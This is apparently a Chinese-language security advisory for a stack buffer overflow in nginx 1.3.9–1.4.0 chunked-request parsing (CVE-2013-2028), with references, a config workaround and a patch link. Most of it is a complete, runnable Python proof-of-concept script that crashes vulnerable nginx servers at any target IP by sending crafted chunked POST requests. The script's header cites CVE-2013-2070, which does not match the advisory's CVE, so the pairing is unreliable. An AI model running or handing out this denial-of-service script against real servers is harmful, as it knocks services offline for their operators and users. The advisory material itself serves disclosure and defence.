nginx 'ngx_http_parse.c'栈缓冲区溢出漏洞

漏洞版本:

Nginx 1.3.9 - 1.4.0

漏洞描述:

BUGTRAQ  ID: 59699

CVE(CAN) ID: CVE-2013-2028



nginx是HTTP及反向代理服务器，同时也用作邮件代理服务器。



nginx 1.3.9 - 1.4.0在解析HTTP块时，"ngx_http_parse_chunked()"函数 (http/ngx_http_parse.c)中存在错误，可被利用造成栈缓冲区溢出。

<* 参考

http://secunia.com/advisories/53248/
http://www.openwall.com/lists/oss-security/2013/05/07/3
http://nginx.org/en/security_advisories.html

*>

安全建议:

临时解决方法：



建议您升级到nginx 1.4.1或者是1.5.0。但如果您不能立刻安装补丁或者升级，您可以采取以下措施以降低威胁：



* 在每个server{}块中使用如下配置



if ($http_transfer_encoding ~* chunked) {

       return 444;

   }



厂商补丁：



Nginx

-----

Nginx已经为此发布了一个安全公告（security_advisories）以及相应补丁:

security_advisories：nginx security advisories

链接：http://nginx.org/en/security_advisories.html



补丁下载：http://nginx.org/download/patch.2013.chunked.txt




POC:

# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070)

# Google Dork: CVE-2013-2070

# Date: 16.05.2013

# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com

# Vendor Homepage: http://nginx.org/

# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz

# Version: 1.3.9-1.4.0

# Tested on: Kali Linux & nginx v1.4.0

# CVE : CVE-2013-2070

 

import httplib

import time

import socket

import sys

import os

 

# Vars & Defs

debug = 0

dos_packet = 0xFFFFFFFFFFFFFFEC

socket.setdefaulttimeout(1)

 

packet = 0

 

def chunk(data, chunk_size):

    chunked = ""

    chunked += "%s\r\n" % (chunk_size)

    chunked += "%s\r\n" % (data)

    chunked += "0\r\n\r\n"

    return chunked

 

if sys.platform == 'linux-i386' or sys.platform == 'linux2':

        os.system("clear")

elif sys.platform == 'win32':

        os.system("cls")

else:

        os.system("cls")

                 

print "======================================================================"

print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070) [http://www.mertsarica.com]"

print "======================================================================"

 

if len(sys.argv) < 2:

        print "Usage: python nginx_dos.py [target ip]\n"

        print "Example: python nginx_dos.py 127.0.0.1\n"

        sys.exit(1)

else:

    host = sys.argv[1].lower()

         

while packet <= 5:

 

    body = "Mert SARICA"

    chunk_size = hex(dos_packet + 1)[3:]

    chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()

 

    if debug:

        print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]

 

    try:

        con = httplib.HTTPConnection(host)

        url = "/mertsarica.php"

        con.putrequest('POST', url)

        con.putheader('User-Agent', "curl/7.30.0")

        con.putheader('Accept', "*/*")

        con.putheader('Transfer-Encoding', 'chunked')

        con.putheader('Content-Type', "application/x-www-form-urlencoded")

        con.endheaders()

        con.send(chunk(body, chunk_size[:len(chunk_size)]))

    except:

        print "Connection error!"

        sys.exit(1)

         

    try:

        resp = con.getresponse()

        print(resp.status, resp.reason)

    except:

        print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)"

 

    packet = packet + 1

     

    con.close()

 

print "[+] Done!"